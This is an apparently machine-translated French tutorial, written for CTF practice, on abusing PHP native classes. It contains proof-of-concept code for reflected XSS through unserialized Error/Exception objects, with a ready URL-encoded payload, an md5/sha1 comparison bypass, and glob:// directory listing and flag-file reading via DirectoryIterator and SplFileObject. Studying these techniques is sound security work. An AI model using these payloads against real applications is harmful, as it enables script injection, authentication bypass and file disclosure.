Maison >développement back-end >tutoriel php >Partage récapitulatif des classes natives PHP

Partage récapitulatif des classes natives PHP

WBOY
WBOYavant
2023-01-23 07:30:013703parcourir

Cet article vous apporte des connaissances pertinentes sur PHP, qui présentent principalement le contenu pertinent sur les classes natives. Examinons-le ensemble, j'espère qu'il sera utile à tout le monde.

Partage récapitulatif des classes natives PHP

Cette fois, HEctf est une question native avec seulement trois lignes de code. Effectivement, plus le code est court, plus il est difficile en CTF.

Publiez d'abord un script qui traverse les classes intégrées de php

 <?php $classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            &#39;__destruct&#39;,
            &#39;__toString&#39;,
            &#39;__wakeup&#39;,
            &#39;__call&#39;,
            &#39;__callStatic&#39;,
            &#39;__get&#39;,
            &#39;__set&#39;,
            &#39;__isset&#39;,
            &#39;__unset&#39;,
            &#39;__invoke&#39;,
            &#39;__set_state&#39;    // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类
        ))) {
            print $class . &#39;::&#39; . $method . "\n";
        }
    }
    
}

Le résultat :

Partage récapitulatif des classes natives PHP

Pour faire le tri :

Exception
ErrorException
Error
ParseError
TypeError
ArgumentCountError
 ArithmeticError
DivisionByZeroError
ClosedGeneratorException
DateTime
DateTimeZone
DatePeriod
DirectoryIterator
wakeup JsonException
wakeup LogicException
BadFunctionCallException
InvalidArgumentException
 OutOfRangeException
RuntimeException
OverflowException
RangeException
UnderflowException
GlobIterator
SplFixedArray
ReflectionException
ReflectionFunctionAbstract
ReflectionParameter
ReflectionMethod
ReflectionClass
ReflectionClassConstant
ReflectionZendExtension
AssertionError
DOMException
PDOException
SimpleXMLElement
mysqli_sql_exception
PharException
PharData
PharFileInfo

Ce sont probablement les classes, mais les catégories suivantes sont souvent utilisées dans les compétitions CTF

  • Erreur
  • Exception
  • SoapClient
  • DirectoryIterator
  • SimpleXMLElement

La classe intégrée Erreur/Exception pour XSS

erreur xss

__toString sera renvoyée la forme de chaîne d'erreur ou d'exception, qui contient les paramètres que nous saisissons, si nous construisons une chaîne de code xss et la combinons avec un rendu d'écho, la vulnérabilité xss réfléchie sera déclenchée

démo :

<?php $a = unserialize($_GET[&#39;a&#39;]);echo $a;

poc

<?php $a = new Error("<script>alert('hacker')");
$b = serialize($a);
echo urlencode($b);

sort une chaîne de chaînes

O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3
Bs%3A32%3A%22%3Cscript%3Ealert%28%27hacker%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A25%3A%22E%3A%5Cphp%5Cfunction%5Ctest2.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D复制代码

pop-up réussie window

Partage récapitulatif des classes natives PHP

exception xss

Exception est la classe de base pour toutes les exceptions au niveau de l'utilisateur. (PHP 5, 7, 8) La structure pop de

<?php $a = new Exception("<script>alert('hacker')");
$b = serialize($a);
echo urlencode($b);
?>

et l'erreur semblent être les mêmes (l'exception s'applique à php5 et 7, l'erreur s'applique uniquement à php7), remplacez simplement l'erreur par l'exception. La fenêtre apparaît toujours avec succès

Partage récapitulatif des classes natives PHP

Erreur/Exception Les classes intégrées contournent la comparaison de hachage

En construisant ces deux classes, vous pouvez contourner les fonctions md5() et sha1(). L'erreur et l'exception ont toutes deux une méthode importante : _tostring, qui est utilisée pour convertir les objets d'exception en chaînes.

De même, lorsque les fonctions md5() et sha1() traitent des objets, la méthode __tostring sera automatiquement appelée

<?php $a = new Error("payload",1);$b=new Error("payload",2);
echo $a."<br>";
echo $b."<br>";

Résultats de sortie

Partage récapitulatif des classes natives PHPOn peut voir que les paramètres après la charge utile n'affectent pas les résultats de sortie. C'est grâce à cela que la fonction de hachage peut être contournée.

<?php $a=new Error("payload",1);$b=new Error("payload",2);
if ($a!=$b){
    echo &#39;$a不等于$b&#39;."\n
";}
if (md5($a)===md5($b)) {
    echo "md5值相等\n";
}
if (sha1($a)===sha1($b)){
    echo "sha1值相等\n";
}

Partage récapitulatif des classes natives PHP

soapclient

soap definition

Simple Object Access Protocol signifiant

La raison pour laquelle on dit que c'est simple ici est qu'il est basé sur deux protocoles qui ont été largement utilisés : HTTP et XML, donc le L'industrie appelle cela La technologie est appelée "c'est la première technologie qui n'a inventé aucune nouvelle technologie". On l'appelle un objet parce que le service Web accessible est appelé un objet. Puisque le service est un objet, le service doit avoir des attributs associés. et les comportements d'appel, ces propriétés et comportements sont décrits via WSDL. Si vous le comprenez en termes de "Simple Object Access Protocol", c'est plus facile que "Simple Object Access Protocol"

La classe intégrée de PHP, SoapClient, est une classe spécifiquement utilisée pour accéder aux services Web. Elle peut fournir un moyen d'accéder au Web. services basés sur le protocole SOAP client PHP.

Le constructeur de cette classe est le suivant :

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
  • Le premier paramètre est utilisé pour indiquer s'il s'agit du mode wsdl. Définir la valeur sur null indique le mode non-wsdl.
  • Le deuxième paramètre est un tableau. Si vous êtes en mode wsdl, ce paramètre est facultatif ; si vous êtes en mode non-wsdl, vous devez définir les options d'emplacement et d'uri, où emplacement est l'URL du serveur SOAP auquel la requête est adressée. être envoyé. Et uri est l'espace de noms cible du service SOAP.

Classe d'opération de fichier native php

Parcours de répertoire

DirectoryIterator

__toString Obtenez le nom du fichier sous forme de chaîne (PHP 5,7,8)

Par exemple :

<?php $a = new DirectoryIterator("/");
foreach($a as $b){
    echo($b.&#39;</br>');
}
echo $a;

Partage récapitulatif des classes natives PHP Sortie désignation Le premier nom de fichier trié dans le répertoire

Utilisez la méthode __toString de cette classe intégrée combinée avec le protocole glob ou file pour réaliser la traversée du répertoire

<?php $a = new DirectoryIterator("glob://*");
foreach ($a as $b){
    echo $b.&#39;<br>';
}

Partage récapitulatif des classes natives PHP

Utilisez foreach pour parcourir tous les fichiers

<?php $a = new DirectoryIterator("glob:///*");
foreach ($a as $b){
    echo $b.&#39;<br>';
}

Partage récapitulatif des classes natives PHP

Encore un slash, le répertoire avance d'un cran.

Classe FilesystemIterator

La classe FilesystemIterator est identique à la classe DirectoryIterator et fournit une interface simple pour afficher le contenu d'un répertoire de système de fichiers. Le constructeur de cette classe créera un itérateur du répertoire spécifié.

La méthode d'utilisation de cette classe est fondamentalement la même que celle de la classe DirectoryIterator :

<?php $a = new FilesystemIterator("glob:///*");
foreach ($a as $b){
    echo $b.&#39;<br>';
}

Partage récapitulatif des classes natives PHP

文件读取

SplFileObject::__toString — 以字符串形式返回文件的路径

<?php $a = new SplFileObject(&#39;flag.txt&#39;);
echo $a;

Partage récapitulatif des classes natives PHP输出多行

<?php $a = new SplFileObject(&#39;flag.txt&#39;);
foreach($a as $f){
    echo($f);
}

Partage récapitulatif des classes natives PHP

推荐学习:《PHP视频教程

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Cet article est reproduit dans:. en cas de violation, veuillez contacter admin@php.cn Supprimer